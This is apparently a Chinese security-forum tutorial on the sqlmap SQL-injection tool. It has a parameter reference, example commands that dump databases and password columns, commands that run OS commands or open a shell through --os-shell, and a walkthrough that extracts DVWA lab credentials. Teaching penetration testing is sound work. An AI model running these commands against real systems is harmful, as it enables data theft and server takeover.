(一)Sqlmap自动注入工具

[复制链接]
发表于 2025-11-11 20:34:01 | 显示全部楼层 |阅读模式


一,SQLMAP的简介


SQLMAP 是一个开放源码的渗透测试工具,它可以自动探测和利用SQL注入漏洞来接管数据库服务器。它配备了一个强大的探测引擎,为最终渗透测试人员提供很多强大的功能,可以拖库,可以访问底层的文件系统,还可以通过带外连接执行操作系统上的命令。
下载地址:https://github.com/sqlmapproject/sqlmap/
官网地址:http://sqlmap.org/
截图202511111238499537.png


SQLmap支持 MySQL,Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite,
Firebird, Sybase and SAP MAXDB, MariaDB 等诸多主流的数据库管理系统(DBMS)



二,SQLmap的常见参数使用
设置目标URL:

参数:-u  /--url
最基本格式 sqlmap -u "http: //www. target.com/index. php?id=1"
参数:-m
从文本中获取多个目标扫描,但是每一行只能有一个url。
基本格式:sqlmap -m  urllist. txt
参数:-r
从文件中加载HTTP请求,这样的话 就不需要在去设定cookie, POST数据......
基本格式: sqlmap -r  1.txt


设置回显等级:

参数:-v 默认为1:
        0、只显示python错误以及严重的信息。
        1、 同时显示基本信息和警告信息。(默认等级)
        2、 同时显示debug信息。
        3、 同时显示注入的payload。
        4、 同时显示HTTP请求。
        5、 同时显示HTTP响应头。
        6、 同时显示HTTP响应页面。

设定探测等级:


参数:--level (sqlmap -r  情况下)
       共有五个等级,默认为1, sqlmap使用的payload可以在xml/payloads.xml中看
到,自己也可以根据相应的格式添加自己的payload
        level>=2的时候就会测试HTTP Cookie
        level>=3的时候就会测试HTTP User-Agent/Referer头
        level=5的时候会测试HTTP Host
基本格式:sqlmap -r   1.txt  --level=3





设定探测风险等级:
参数:--risk      
共有三个风险等级,1-3:
     默认是1会测试大部分的测试语句,
     2会增加基于时间的测试语句,
     3会增加OR语句的SQL注入测试。
注意:在有些时候,例如在UPDATE, DELETE的语句中,注入一个OR的测试语句, 可能导致更新的整个表,可能造成很大的风险。
基本格式:sqlmap -u "http:/A/vww.target.com/?id=1" --risk=2


设置HTTP数据包相关参数:
参数:--data
       此参数是把data后面的数据以POST方式提交,当参数是POST提交的时候,但是你有没有抓取数据包,可以用URL+需要检查的参数。
基本格式:sqlmap -u "http://www.target.com/vuln.php"  --data="id=1"


参数:--cookie
       当web需要登录的时候,需要我们抓包获取cookie参数,然后复制出来,加到--cookie参数中。
基本格式:sqlmap -u "http://www.target.com/vuln.php" --data="id=1" --cookie="Hm_lvt6910067,1546929561,1547001094,1547024662HPSESSID=o64fbvo316lg59njufl2gfutm4;"


指定测试参数:
参数:-p
      sqlmap默认会测试所有的GET和POST参数,当-level的值大于等于2的时候也 会测试HTTP Cookie头的值,当大于等于3的时候也会测试User- Agents HTTP Referer头的值。         


基本格式:sqlmap -u "http:/A/vww.target.com/?id=1" -p "id,user-angent"
  
参数:--skip
       在使用--level时,级别很大的时候,但是有些参数不能去测试,那么可以使用--skip参数跳过


基本格式:sqlmap -u "http:/A/vww.target.com/?id=1" --skip"user-agent,referer"


设置HTTP数据包相关参数

HTTP User-Agents       
参数:--user-agent     
      默认情况下sqlmap的HTTP请求头中的User-Agent值是:sqlmap/1.0-dev-xxxxxxxxx(http://sqlmap.org) 这个时候可以手动指定伪造一个User-Agent.

基本格式:sqlmap -u "http://www.target.com" --level 3 --user-agent="aaaaaa"
参数:--random-agent   
      会从/usr/share/sqlmap/data/txt/user-agents.txt中随机产生User-Agent头。
基本格式:sqlmap -u "http://www.target.com" --level 3 --random-agent

sqlmap检查uesr-agent中的注入点,level>=3才会去检查user-agent头是否存在注入漏洞


HTTP Referer头       
参数:--referer
     sqlmap可以在请求中伪造HTTP中的referer。当--level参数设定>=3时,会尝试进行referer注入。           
基本格式:
sqlmap -u "http:/A/vww.target.com/?id=1" --        referer="http://www.baidu.com"
  
参数:--delay
可以设定两个http请求间的延迟,设定为1的时候是1秒,默认是没有延迟的。

参数:--timeout
可以设定一个http请求超过多少秒判定为超时,默认是30秒。



列数据:


--dbs(查看数据库), --users(查看所有用户), --passwords(查看所有用户密码)
--technique          指定使用哪种注入类型(B , E , U , T , S)
--current-db         当前数据库
--current-user    当前用户
--privileges         权限
-D database_name --tables   获取表
-D database_name -T table_name --columns    获取列
-D database name -T table name -C column_1,column_2 --dump 获取字段内容  



使用shell命令:


参数:--os-shell     反弹交互shell
前提:需要网站的物理路径,其次是需要有对站点目录有FILE读写权限。
基本格式 : sqlmap -r "C:\sqlmap\request.txt" -p "id" --dbms mysql --os-shell   
选择后端语言
接下来指定网站可写目录:  选择网站路径 : 2为自定义网站路径   d:/phpstudy/www  

参数:--os-cmd=系统命令     执行系统命令

--batch           全自动
--start=          开始条数(导出数据时开始条数)
--stop=          结束条数(导出数据时结束条数)
--dump          导出数据
--dump-all         导出所有数据
--purge         清空缓存目录



三,SQLmap的使用示例


sqlmap -u "http://url/news?id=1" --current-user                                #获取当前用户名称
sqlmap -u "http://url/news?id=1" --current-db                                #获取当前数据库名称
sqlmap -u "http://url/news?id=1" --dbs                                        #枚举所有数据库名
sqlmap -u "http://url/news?id=1" -D "db_name" --tables                        # 列出指定数据库的表名
sqlmap -u "http://url/news?id=1" -D "db_name" -T "tablename" --columns  # 列列出指定数据库对应表的字段
sqlmap -u "http://url/news?id=1" -D "db_name" -T "table_name" -C "column_name" --dump #获取字段内容
sqlmap -u "http://url/news?id=1" --dbms "Mysql" --users                #dbms指定数据库类型
sqlmap -u "http://url/news?id=1" --users                                #列数据库用户
sqlmap -u "http://url/news?id=1" --passwords                                #数据库用户密码
sqlmap -u "http://url/news?id=1" --sql-shell                                #执行指定sql命令
sqlmap -u "http://url/news?id=1" --os-cmd=whoami                        #执行系统命令
sqlmap -u "http://url/news?id=1" --os-shell                                #系统交互shell
sqlmap -u "http://url/news?id=1" --dbs -o "sqlmap.log"                #保存进度
sqlmap -u "http://url/news?id=1" --dbs -o "sqlmap.log" --resume        #恢复已保存进度
sqlmap -u "http://url/news?id=1" --tamper "base64encode.py"                #加载脚本(可利用绕过注入限制)



四,基本的注入流程


1.判断注入点和数据类型:
      (1)sqlmap -u http://www.test.php?id=1  --GET方法注入
      (2)sqlmap -r  /etc/url.txt –-POST方法注入(使用Burpsuite等代理工具拦截POST请求内容, 将POST请求内容保存在一个文本文件中,此处为url.txt,并用sqlmap调用)
2.判断数据库名(dbs):sqlmap -u "http://www.test.php?id=1" --dbs
3.判断表名(tables):sqlmap -u "http://www.test.php?id=1" -D 数据库名 --tables
4.判断列名(columns):sqlmap -u "http://www.test.php?id=1" -D 数据库名 -T 表名 --column
5.获取字段:sqlmap -u "http://www.test.php?id=1" -D 数据库名 -T 表名 -C 列名 --dump



查看获取的数据文件:
windows:C:\Users\Administrator\.sqlmap\output
Kali linux: /root/.sqlmap/output/



使用示例-使用Sqlmap获取DVWA数据

因DVWA需要登录,此处应选择的是POST方法注入,即需要先获取登录的cookie信息:
(1)设置Brupsuite和浏览器代理;
(2)拦截POST请求内容,并另存为url.txt,此处存放在/etc目录下;
截图202511111246181600.png




(3)判断注入点和数据库类型:root@kali:~# sqlmap -r /etc/url

截图202511111246519993.png


截图202511111247113669.png


(4)判断数据库名:root@kali:~# sqlmap -r /etc/url --dbs


截图202511111247525795.png


(5)判断表名:root@kali:~# sqlmap -r /etc/url -D dvwa --tables

截图202511111248334719.png


(6)判断列名:root@kali:~# sqlmap -r /etc/url -D dvwa -T users --column
截图202511111249015076.png

(7)获取user字段信息:root@kali:~# sqlmap -r /etc/url -D dvwa -T users -C user --dump

截图202511111249307561.png

(8)获取passwor字段信息:root@kali:~# sqlmap -r /etc/url -D dvwa -T users -C password --dump
截图202511111249537837.png

(9)获取除系统默认表外的所有数据:root@kali:~# sqlmap -r /etc/url --dump-all --exclude-sysdbs

截图202511111250223713.png








必火网络安全培训,北京实地培训,月月有开班,零基础入门,四个月打造渗透高手。
详情请加微信:nvhack/153-2000-4362,手机微信同号。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|小黑屋|女黑客安全网 |网站地图 | 津ICP备17008032号-3

GMT+8, 2026-2-2 05:15 , Processed in 0.099907 second(s), 27 queries .

Powered by Discuz! X3.5

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表